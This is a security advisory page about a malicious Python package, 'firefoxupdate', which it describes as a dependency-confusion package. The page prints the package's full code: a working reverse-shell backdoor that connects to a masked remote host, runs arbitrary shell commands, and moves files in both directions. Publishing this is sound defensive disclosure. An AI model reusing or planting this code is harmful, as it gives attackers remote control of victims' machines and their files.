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Malicious Package Affecting firefoxupdate package, versions [0,]

Severity

 Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

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  • Snyk IDSNYK-PYTHON-FIREFOXUPDATE-3124990
  • published18 Nov 2022
  • disclosed18 Nov 2022
  • creditRaul Onitza-Klugman from Snyk Research Team
Report a new vulnerability Found a mistake?

Introduced: 18 Nov 2022

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)
First added by Snyk

How to fix?

Avoid using all malicious instances of the firefoxupdate package.

Overview

firefoxupdate is a malicious package. This is a "dependency confusion" package, which means the package name is based on existing repositories, namespaces, or components. It aims to trick users into downloading the package which contains obfuscated malicious code and initiates connections to a remote host.

Malicious code

import socket
import json
import subprocess
import time
import os
def reliable_send(data):
    jsondata = json.dumps(data)
    s.send(jsondata.encode())
def reliable_recv():
    data = ''
    while True:
        try:
            data = data + s.recv(1024).decode().rstrip()
            return json.loads(data)
        except ValueError:
            continue
def download_file(file_name):
    f = open(file_name, 'wb')
    s.settimeout(1)
    chunk = s.recv(1024)
    while chunk:
        f.write(chunk)
        try:
            chunk = s.recv(1024)
        except socket.timeout as e:
            break
    s.settimeout(None)
    f.close()
def upload_file(file_name):
    f = open(file_name, 'rb')
    s.send(f.read())
def connection():
    while True:
        time.sleep(4)
        try:
            s.connect(('**[malicious_host]**', 6005))
            shell()
            s.close()
            break
        except:
            connection()
def shell():
    while True:
        command = reliable_recv()
        if command == 'quit':
            break
        elif command == 'background':
            pass
        elif command == 'help':
            pass
        elif command == 'clear':
            pass
        elif command[:3] == 'cd ':
            os.chdir(command[3:])
        if command[:3] == 'res ':
            reliable_send(True)
            break
        elif command[:6] == 'upload':
            download_file(command[7:])
        elif command[:8] == 'download':
            upload_file(command[9:])
        elif command[:7] == 'sendall':
            subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin = subprocess.PIPE)
        else:
            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
            result = execute.stdout.read() + execute.stderr.read()
            result = result.decode()
            reliable_send(result)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def catc():
    try:
      connection()
    except KeyboardInterrupt:
      quit()
catc()

CVSS Scores

version 3.1